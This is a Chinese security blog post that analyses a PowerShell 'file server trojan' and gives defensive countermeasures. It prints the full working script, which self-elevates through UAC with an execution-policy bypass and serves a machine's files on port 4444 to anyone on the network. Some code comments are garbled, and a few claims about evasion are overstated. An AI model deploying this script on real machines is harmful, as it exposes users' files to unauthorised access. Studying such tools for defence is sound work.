本文内容及所涉及的技术,仅限用于合法授权下的安全研究、教学演示、
以及漏洞复现。严禁将本文技术用于未授权的渗透、监听、植入、操控行为。
本文内容仅限安全研究、漏洞复现与教学演示使用!
使用者必须在完全理解并接受本声明的前提下继续阅读与操作。
凡将本文所述方法用于非法用途者,一切法律后果由使用者本人承担。
请严格遵守所在地的法律法规,特别是以下中国法律条款:
📜 《中华人民共和国网络安全法》 第十二条:
禁止任何组织或个人利用网络危害国家安全、煽动颠覆政权等活动。
📜 《中华人民共和国刑法》 第二百八十五条至二百八十七条:
非法入侵计算机系统、篡改或破坏数据将追究刑责。
📜 《中华人民共和国数据安全法》 第三条、第十七条:
数据处理活动必须合法合规,严禁非法获取、传输或泄露数据。
🚫 强烈禁止以下行为:
- 向他人 APK 植入恶意代码并传播
- 上传恶意程序至应用市场
- 在未授权设备或网络环境中运行本篇提及的技术
⚖️ 非法使用将触犯法律,作者不承担由此引发的任何后果。
🧪 本文操作均在本地沙箱环境下进行,示例所用 APK 为自定义构建 demo,用于演示完整技术链路,非实际恶意软件。
💡 特别提醒:
本文所涉及操作可能包含网络通信、远程访问、敏感权限调用等,
必须在受控环境下、获得明确授权后进行。
未经许可的任何行为都将被视为违法攻击。
📛 作者立场中立,仅为安全教育目的演示,不对滥用技术行为负责。
本文通过解析以下 PowerShell 脚本(仅用于教育研究,切勿实际运行)来说明其工作原理与潜在危害。该脚本利用 .NET 的 HttpListener 类创建了一个简单的 HTTP 文件服务器,可列出并下载指定目录下的文件。若攻击者利用此脚本,不仅可泄露敏感数据,还可能作为远程后门获取系统访问权限。应注意不要随意执行来历不明的程序,因为木马病毒往往伪装成合法软件以躲避检测
背景介绍
现代木马病毒(Trojan)不再依赖传统的“假冒图标”套路,而是通过 PowerShell、VBS、BAT 等脚本语言深度整合在系统任务中,并具备强大的隐蔽性与网络功能。
本文中的“文件服务器木马”看似只是一个简单的 HTTP 服务,其实却隐藏了多个恶意能力点:
- 管理员提权:强制以管理员身份运行。
- 路径遍历保护绕过:基础但可绕开的路径限制。
- 跨平台部署:在任何带有 PowerShell 的 Windows 上运行。
- 网络监听与文件泄露:启动端口监听器,暴露文件结构。
攻击原理详解(逐步)
1. 管理员权限自提权
脚本开头通过判断 WindowsPrincipal 是否为管理员角色,如果不是,就调用:
Start-Process powershell -ArgumentList ... -Verb RunAs
此行为会弹出 UAC 提权窗口,并自动重启当前脚本。
⚠ 危险点:攻击者不需要写任何持久化代码,仅需引导用户“以管理员身份运行”脚本。
2. 启动 HTTP 文件服务监听器
核心恶意组件使用 .NET 的 HttpListener 类搭建了一个完整的 HTTP 文件服务器:
$listener = New-Object System.Net.HttpListener
$listener.Prefixes.Add("http://+:4444/")
默认监听本地所有 IP 的 4444 端口。一旦开启,外部用户只需访问 http://目标IP:4444/ 即可浏览系统内文件。
3. 请求处理与路径伪装
当请求到达:
- 若路径为目录:返回目录内所有文件+修改时间+大小的 HTML 页面。
- 若路径为文件:以
Content-Disposition: attachment方式提供下载。 - 若非法路径:返回 404 或 403 页面,伪装成标准 Web 服务。
路径解析如下:
function Get-SafePath {
$RequestedPath = $RequestedPath -replace '\.\.',''
$fullPath = Join-Path $RootDirectory $RequestedPath
}
虽然限制了 .. 目录跳出,但没有正则彻底限制复杂路径组合,如 %2e%2e/ 等变种。
4. 自动端口调整
当默认端口 4444 被占用时,自动调整为 5555:
if ($OpenPorts -contains 4444) { $Port = 5555 }
此举可保证“服务上线成功率”,更利于持续访问。
攻击链完整时序图
@startuml
title 木马脚本攻击时序图
actor 用户
participant "PowerShell 木马" as Script
participant "HttpListener" as Server
participant "攻击者浏览器" as Attacker
用户 -> Script: 运行脚本
Script -> Script: 检查管理员权限
alt 非管理员
Script -> Script: 提权并重启脚本
end
Script -> Server: 启动 HttpListener(4444)
loop 请求监听
Attacker -> Server: GET /(或/路径/文件)
Server -> Script: 获取本地路径
Script -> Server: 返回 HTML/文件流
Server -> Attacker: 响应数据(页面或文件)
end
@enduml
文件处理流程图
@startuml
title 请求文件处理逻辑
start
:获取请求路径;
:URL解码并转为本地路径;
if (路径存在?) then (是)
if (是目录?) then (是)
:列出目录内容;
:生成HTML页面;
else
if (后缀允许?) then (是)
:读取并发送文件流;
else
:返回403 Forbidden页面;
endif
endif
else
:返回404 Not Found页面;
endif
stop
@enduml
木马的安全风险
| 威胁类型 | 风险说明 |
|---|---|
| 数据泄露 | 木马开放目录浏览,用户文档、密码文件等敏感资料可能被下载 |
| 权限绕过 | 如果木马运行在管理员模式,攻击者可下载注册表/系统日志等系统级文件 |
| 横向渗透 | 攻击者可利用该程序实现 SMB 落点传播或托管二次 Payload |
| 社会工程诱导 | 可伪装成“部署工具”、“传输脚本”,引诱目标运行 |
| 网络渗透掩盖 | 使用 4444/5555 等不常用端口,避开部分防火墙规则 |
| 避免检测 | 使用 PowerShell 执行,无需写入磁盘、可绕过常规杀软 |
如何防范此类木马?
执行策略限制: 使用命令限制 PowerShell 脚本运行:
Set-ExecutionPolicy AllSigned
启用 Windows Defender + AMSI 脚本拦截: 系统自带防护可识别已知恶意行为。
分析进程行为: 通过工具如 Sysinternals 的 TCPView 分析是否有异常端口监听。
教育与培训: 强调:不要运行来历不明的脚本文件!
应用白名单机制: 配合 AppLocker/DeviceGuard 设置运行策略。
类似实战案例参考
- CVE-2019-0708(蓝屏之门):RDP 漏洞利用成功后,攻击者常上传类似木马进行数据下载。
- 勒索软件:如 WannaCry、NotPetya 等在爆发后广泛使用 Powershell 脚本托管文件。
- APT 持久化:APT29、Turla 等组织常用文件服务器/反向 Shell 模块部署恶意程序。
完整木马代码展示(请勿运行)
param (
[int]$PORT = 4444,
[string]$BindIP = "0.0.0.0",
[string]$RootDirectory = "pwd",
[string[]]$AllowedExtensions = @("*")
)
if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole(
[Security.Principal.WindowsBuiltinRole]::Administrator
)) {
Write-Host "Restarting as Administrator..."
Start-Process powershell -ArgumentList "-ExecutionPolicy Bypass -File `"$PSCommandPath`" -Port $PORT -BindIP $BindIP -RootDirectory '$RootDirectory'" -Verb RunAs
exit
}
function Encode-Url {
param([string]$Text)
if ([string]::IsNullOrEmpty($Text)) { return "" }
$result = ""
foreach ($char in $Text.ToCharArray()) {
if (($char -match '[a-zA-Z0-9._-]') -and ($char -ne '/')) {
$result += $char
} elseif ($char -eq ' ') {
$result += '%20'
} else {
$bytes = [System.Text.Encoding]::UTF8.GetBytes($char.ToString())
foreach ($byte in $bytes) {
$result += '%' + $byte.ToString('X2')
}
}
}
return $result
}
function Decode-Url {
param([string]$Text)
if ([string]::IsNullOrEmpty($Text)) { return "" }
try {
# ��URL����
$result = $Text -replace '%20', ' '
$result = $result -replace '%2F', '/'
$result = $result -replace '%5C', '\'
$result = $result -replace '%3A', ':'
$result = $result -replace '%2A', '*'
$result = $result -replace '%3F', '?'
$result = $result -replace '%22', '"'
$result = $result -replace '%3C', '<'
$result = $result -replace '%3E', '>'
$result = $result -replace '%7C', '|'
return $result
} catch {
return $Text
}
}
function Get-ListeningPorts {
$ports = @()
netstat -an | Select-String "LISTENING" | ForEach-Object {
if ($_ -match "^\s*TCP\s+[\d\.]+:(\d+)\s") {
$port = [int]$matches[1]
$ports += $port
}
}
return $ports | Sort-Object -Unique
}
function Get-SafePath {
param([string]$RequestedPath)
$RequestedPath = $RequestedPath.Trim('/\')
$RequestedPath = Decode-Url $RequestedPath
$RequestedPath = $RequestedPath -replace '\.\.',''
$fullPath = Join-Path $RootDirectory $RequestedPath
$fullPath = [System.IO.Path]::GetFullPath($fullPath)
if (-not $fullPath.StartsWith($RootDirectory, [System.StringComparison]::OrdinalIgnoreCase)) {
return $null
}
return $fullPath
}
function Get-DirectoryListing {
param([string]$Path, [string]$CurrentUrlPath)
$html = @"
<!DOCTYPE html>
<html>
<head>
<title>Index of $CurrentUrlPath</title>
<style>
body { font-family: Arial, sans-serif; margin: 20px; }
h1 { color: #333; }
table { border-collapse: collapse; width: 100%; }
th, td { text-align: left; padding: 8px; border-bottom: 1px solid #ddd; }
th { background-color: #f2f2f2; }
a { text-decoration: none; color: #0066cc; }
a:hover { text-decoration: underline; }
.file-size { text-align: right; }
.dir { font-weight: bold; }
</style>
</head>
<body>
<h1>Index of $CurrentUrlPath</h1>
<table>
<tr><th>Name</th><th>Size</th><th>Modified</th></tr>
"@
if ($CurrentUrlPath -ne "") {
$parentPath = if ($CurrentUrlPath.Contains('/')) {
$CurrentUrlPath.Substring(0, $CurrentUrlPath.LastIndexOf('/'))
} else {
""
}
$html += "<tr><td class='dir'><a href='/$parentPath/'>../</a></td><td></td><td></td></tr>"
}
try {
$items = Get-ChildItem -Path $Path -Force | Sort-Object Name
foreach ($item in $items) {
$name = $item.Name
$urlName = Encode-Url $name
$modified = $item.LastWriteTime.ToString("yyyy-MM-dd HH:mm")
if ($item.PSIsContainer) {
$html += "<tr><td class='dir'><a href='/$CurrentUrlPath$urlName/'>$name/</a></td><td></td><td>$modified</td></tr>"
} else {
$size = if ($item.Length -gt 1MB) {
"{0:N2} MB" -f ($item.Length / 1MB)
} elseif ($item.Length -gt 1KB) {
"{0:N2} KB" -f ($item.Length / 1KB)
} else {
"$($item.Length) B"
}
$html += "<tr><td><a href='/$CurrentUrlPath$urlName'>$name</a></td><td class='file-size'>$size</td><td>$modified</td></tr>"
}
}
} catch {
$html += "<tr><td colspan='3'>Error reading directory: $($_.Exception.Message)</td></tr>"
}
$html += @"
</table>
<hr>
<p><small>Simple HTTP File Server - $(Get-Date)</small></p>
</body>
</html>
"@
return $html
}
$OpenPorts = Get-ListeningPorts
if ($OpenPorts -contains 4444) { $Port = 5555 }
if ($BindIP -eq "0.0.0.0") {
$prefix = "http://+:$Port/"
} else {
$prefix = "http://$BindIP`:$Port/"
}
$listener = New-Object System.Net.HttpListener
$listener.Prefixes.Add($prefix)
try {
$listener.Start()
Write-Host "File Server started successfully!"
Write-Host "Root Directory: $RootDirectory"
Write-Host "Access via: http://localhost:$Port/"
Write-Host "Network access: http://$([System.Net.Dns]::GetHostByName($env:computerName).AddressList[0].IPAddressToString):$Port/"
Write-Host "Press Ctrl+C to stop."
} catch {
Write-Host "Failed to start server: $($_.Exception.Message)"
Write-Host "Try running: netsh http add urlacl url=$prefix user=Everyone"
exit 1
}
try {
while ($listener.IsListening) {
$context = $listener.GetContext()
$request = $context.Request
$response = $context.Response
try {
$urlPath = $request.Url.AbsolutePath.TrimStart('/')
$fullPath = Get-SafePath $urlPath
Write-Host "$($request.HttpMethod) $urlPath"
if (-not $fullPath -or -not (Test-Path $fullPath)) {
# �ļ�/Ŀ¼δ�ҵ�
$response.StatusCode = 404
$buffer = [System.Text.Encoding]::UTF8.GetBytes("<h1>404 - Not Found</h1><p>File not found: $urlPath</p>")
$response.ContentType = "text/html"
$response.ContentLength64 = $buffer.Length
$response.OutputStream.Write($buffer, 0, $buffer.Length)
} elseif (Test-Path $fullPath -PathType Container) {
# Ŀ¼�б�
$html = Get-DirectoryListing -Path $fullPath -CurrentUrlPath $urlPath
$buffer = [System.Text.Encoding]::UTF8.GetBytes($html)
$response.ContentType = "text/html"
$response.ContentLength64 = $buffer.Length
$response.OutputStream.Write($buffer, 0, $buffer.Length)
} else {
# �����
$fileInfo = Get-Item $fullPath
# ����ļ���չ������
$extension = [System.IO.Path]::GetExtension($fullPath).ToLower()
if ($AllowedExtensions[0] -ne "*" -and $AllowedExtensions -notcontains $extension) {
$response.StatusCode = 403
$buffer = [System.Text.Encoding]::UTF8.GetBytes("<h1>403 - Forbidden</h1><p>File type not allowed: $extension</p>")
$response.ContentType = "text/html"
$response.ContentLength64 = $buffer.Length
$response.OutputStream.Write($buffer, 0, $buffer.Length)
} else {
# �ṩ�ļ�����
$response.ContentType = "application/octet-stream"
$response.AddHeader("Content-Disposition", "attachment; filename=`"$($fileInfo.Name)`"")
$response.ContentLength64 = $fileInfo.Length
$fileStream = [System.IO.File]::OpenRead($fullPath)
try {
$fileStream.CopyTo($response.OutputStream)
} finally {
$fileStream.Close()
}
}
}
} catch {
$response.StatusCode = 500
$errorMsg = "<h1>500 - Server Error</h1><p>$($_.Exception.Message)</p>"
$buffer = [System.Text.Encoding]::UTF8.GetBytes($errorMsg)
$response.ContentType = "text/html"
$response.ContentLength64 = $buffer.Length
$response.OutputStream.Write($buffer, 0, $buffer.Length)
} finally {
$response.OutputStream.Close()
}
}
} finally {
if ($listener.IsListening) {
$listener.Stop()
$listener.Close()
}
Write-Host "Server stopped."
}
---
总结
这类 PowerShell 脚本虽结构简单,却具备极强的隐蔽性和实用性,是很多木马病毒的常见变种。其借助系统工具(如 HttpListener)实现文件暴露、远程访问,是典型的“内网持久控制”组件。
再次提醒:本文仅用于红队研究与防御教学,切勿用于非法攻击,否则后果自负。
郑重声明
学技术,须以善念为本。此博客所分享的知识,皆为安全研究与防护之用。请务必谨记,绝不可滥用这些技能去伤害他人、侵犯隐私或进行任何违法犯罪行为。若你选择走偏,所有后果只能由你自己承担。 技术如刀,双刃而锋利。唯有怀抱正义与责任,方能让它照亮前路,而非迷失于黑暗。愿你我都能守住这份初心,成为守护网络安全的真正战士。 若你选择滥用本博客内容所学技能所造成的任何损害或违法行为,本人概不负责。若因此被警方或相关执法机关追查,一切法律责任与后果均由使用者本人承担。